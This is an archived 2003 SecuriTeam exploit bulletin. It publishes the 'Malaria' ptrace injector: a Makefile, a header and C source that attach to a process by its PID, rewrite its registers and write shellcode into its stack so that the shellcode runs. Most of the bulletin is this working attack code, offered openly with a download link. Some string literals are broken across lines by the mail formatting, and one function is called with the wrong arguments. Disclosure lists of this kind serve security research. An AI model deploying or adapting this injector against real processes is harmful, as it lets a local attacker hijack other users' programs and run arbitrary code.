[EXPL] Ptrace() Injector (Malaria)

From: support@securiteam.com
Date: 01/05/03

  • Next message: support@securiteam.com: "[NEWS] DB2 on iSeries Stored Procedures Vulnerability"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 6 Jan 2003 00:23:20 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Ptrace() Injector (Malaria)
    ------------------------------------------------------------------------

    SUMMARY

    The following proof of concept exploit code will show you how a local
    attacker can use ptrace to inject arbitrary commands into a process he
    wishes (given he knows its PID).

    DETAILS

    (The complete package can be downloaded from:
    <http://www.0x4553.org/archive.htm> http://www.0x4553.org/archive.htm, it
    contains two Objects files necessary for compilation)

    Makefile:
    # ElectronicSouls

    CC = gcc
    OBJ = ES-Malaria.o
    BIN = ES-Malaria
    OBJ1 = w00t.o

    all: $(OBJ)
      $(CC) $(OBJ) -o $(BIN) $(OBJ1)
    clean:
      rm -f $(BIN)

    Malaria.h:
    typedef long int pid_t;
    void infcode();
    char *shellcode;

    #define VER "12.02-00.01.a"

    ES-Malaria.c:
    /*
          ._______________ ._____________.
          | |\ | |\
          |______________|| |_____________||
           \_____________\| \____________\|
          .________. .________.
          | |\ Electronic | |\
          | ._____|| Souls |_____. ||
          | |\____\| \____| ||
          | |_|_________. .__________| ||
          | |\ | ||
          |______________|| |_____________||
           \_____________\| \____________\|

      [ElectronicSouls] --- http://www.0x4553.org
      -------------------------------------------
      Malaria Ptrace Injector (C) BrainStorm 2002
      public version. no error handling.

      greetz:
             old XOR Team,UNF,SYNNERGY,void.ru,
             ADM,THC,IC,#vuln,#blackhat
    */

    #include <stdio.h>
    #include <signal.h>
    #include <sys/ptrace.h>
    #include <linux/user.h>
    #include <unistd.h>
    #include "malaria.h"

    int main(int argc,char **argv)
    {
            pid_t pid;

            if(!argv[1]){
              fprintf(stderr,"[ElectronicSouls] Malaria ptrace injector.\n");
              fprintf(stderr,"usage: %s <pid> \n",argv[0]);
              exit(-1);
            }

            fprintf(stderr,"\n [ElectronicSouls]\n");
            fprintf(stderr," malaria version: %s\n\n",VER);

            pid=atoi(argv[1]);
            fprintf(stderr," calculating inject code size..\n");
            shellcode=malloc(strlen((char*) infcode)+4);
            strcpy(shellcode,(char *) infcode);
            fprintf(stderr," - code size: %d\n",strlen(shellcode));
            fprintf(stderr," initializing infection\n");
            infect(pid);

            fprintf(stderr," [infected!]\n\n");

            exit(0);
    }

    int infect(pid_t pid,int argc, char *argv[])
    {
            int i=0,
                ptr,
                beg;
            struct user_regs_struct reg;

            fprintf(stderr," attaching to proccess: %d !\n",pid);

            ptrace(PTRACE_ATTACH,pid,0,0); /* attaching to proccess */
            waitpid(pid,NULL,0);

            ptrace(PTRACE_GETREGS,pid,&reg,&reg); /* general purpose registers
    */
            write(2,"
    ",1);sleep(1);write(2,".",1);sleep(1);write(2,".",1);sleep(1);
            
    write(2,".",1);sleep(1);write(2,".",1);sleep(1);write(2,".",1);sleep(1);
            
    write(2,".",1);sleep(1);write(2,".",1);sleep(1);write(2,".",1);sleep(1);
            write(2,".\n",1);sleep(1); /* just for fun :P */
            fprintf(stderr," register info: \n");
            fprintf(stderr,"
    -----------------------------------------------------------\n");
            fprintf(stderr," eax is at: 0x%.8lx\t",reg.eax);
            fprintf(stderr," ebx is at: 0x%.8lx\n",reg.ebx);
            fprintf(stderr," ecx is at: 0x%.8lx\t",reg.ecx);
            fprintf(stderr," eip is at: 0x%.8lx\n",reg.eip);
            fprintf(stderr,"
    ------------------------------------------------------------\n\n");
            reg.esp -= 4; /* decrement esp */
            fprintf(stderr," new esp: 0x%.8lx (-4)\n",reg.esp);

            ptrace(PTRACE_POKETEXT,pid,reg.esp,reg.eip); /* poke eip -> esp */
            ptr = beg = reg.esp - 1024; /* inject esp - 1024 */
            fprintf(stderr," - injecting code into 0x%.8lx\n",beg);

            write(2," .",1);sleep(1);write(2,".",1);sleep(1);
            write(2,".",1);sleep(1);write(2,".",1);sleep(1);
            write(2,".",1);sleep(1);write(2,". ",1);sleep(1);

            reg.eip=(long) beg+2; /* set eip as value of esp - 1024 */
            fprintf(stderr,"reg eip is at: 0x%.8lx\n",reg.eip);
            fprintf(stderr," copy general purpose registers\n");
            ptrace(PTRACE_SETREGS,pid,&reg,&reg);

            while(i<strlen(shellcode)){
              ptrace(PTRACE_POKETEXT,pid,ptr,(int)* (int *) (shellcode+i) );
              i+=4;ptr+=4;
            }

            fprintf(stderr," detaching from %d \n\n",pid);

            ptrace(PTRACE_DETACH,pid,0,0); /* detach from proccess */
            return(0);
    }

    ADDITIONAL INFORMATION

    The information has been provided by
    <mailto:brainstorm@ElectronicSouls.zzn.com> Brain Storm.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages

    • [EXPL] SLMail PASS Buffer Overflow
      ... The following exploit code can be used to test your SLMail ... # Discovered by: Muts # ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [EXPL] Xsun (Sparc) Local Exploit (RGB_DB)
      ... struct TREE { ... main(int argc, char *argv) ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [UNIX] Incomplete Patch for File Descriptor Vulnerability Allows Insertion of Arbitrary Content into
      ... If a +s file is executed and fds 0..2 are opened to ... On a vulnerable system, 0xcafebabe will be inserted into the /etc/skeykeys ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [TOOL] BSD-AirTools, WEP Related Tools
      ... netstumbler (dstumbler) that can be used to detect wireless access points ... of the prism2 debug modes as well as do basic analysis of the ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [UNIX] Posix_getpw* Ignores Safe_mode and Open_basedir Settings
      ... thus allowing a user to rebuild a complete ... user to know what accounts have what privileges and what accounts have ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)